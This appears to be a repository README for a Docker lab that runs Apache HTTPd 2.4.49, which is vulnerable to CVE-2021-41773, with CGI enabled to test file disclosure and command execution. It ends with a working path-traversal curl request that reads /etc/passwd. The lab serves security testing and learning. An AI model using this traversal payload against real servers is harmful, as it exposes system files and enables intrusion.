描述

Apache HTTPd (2.4.49) – Local File Disclosure (LFI)

介绍

CVE-2021-41773 Playground
===

This is a small Docker recipe for setting up a Debian bookworm based container with an instance of the Apache HTTPd (2.4.49) that is vulnerable to [CVE-2021-41773](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773).

CGI has been explicitly enabled so it can be used to test/verify Local file Disclosure behavior as well as Remote Command Execution behavior.

Usage
===
```
$ docker-compose build && docker-compose-up
```

Local file disclosure
===
```
$ curl -s --path-as-is "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
